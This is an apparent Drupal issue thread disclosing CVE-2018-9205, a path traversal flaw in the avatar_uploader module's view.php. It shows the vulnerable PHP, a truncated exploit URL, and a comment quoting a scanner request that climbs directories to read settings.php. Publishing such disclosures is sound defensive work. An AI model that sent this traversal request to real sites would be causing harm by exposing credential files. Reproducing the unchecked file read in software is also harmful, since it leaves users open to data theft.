Title: Arbitrary file download vulnerability in Drupal module avatar_uploader v7.x-1.0-beta8
Author: Larry W. Cashdollar
Date: 2018-03-30
Download Site: https://www.drupal.org/project/avatar_uploader
Vendor: https://www.drupal.org/u/robbinzhao
Vendor Notified: 2018-03-30
Vendor Contact:
Description: This module used Simple Ajax Uploader, and provide a basic uploader panel, for more effect, you can do your custom javascript.
Such as, users' mouse hover on avatar, the edit link will slideup, or others.
Vulnerability:
The view.php contains code to retrieve files but no code to verify a user should be able to view files or keep them from changing the
path to outside of the uploadDir directory:

<?php

$file = $_GET['file'];

echo file_get_contents("uploadDir/$file");
exit;
[CVE-2018-9205]
Exploit Code:
http://example.com/sites/all/modules/avatar_uploader/lib/demo/view.php?f...

Comments

lcashdol created an issue. See original summary.

lcashdol’s picture

lcashdol’s picture

Issue summary: View changes
frederickjh’s picture

I just want to say that bots are now scanning a Drupal 8 site that I work on (so they are not going to find a Drupal 7 module). 404 links look like this:

/sites/all/modules/avatar_uploader/lib/demo/view.php?file=../../../../../../../../../../../sites/default/settings.php

Not sure if that information can be of help but this security issue should be fixed.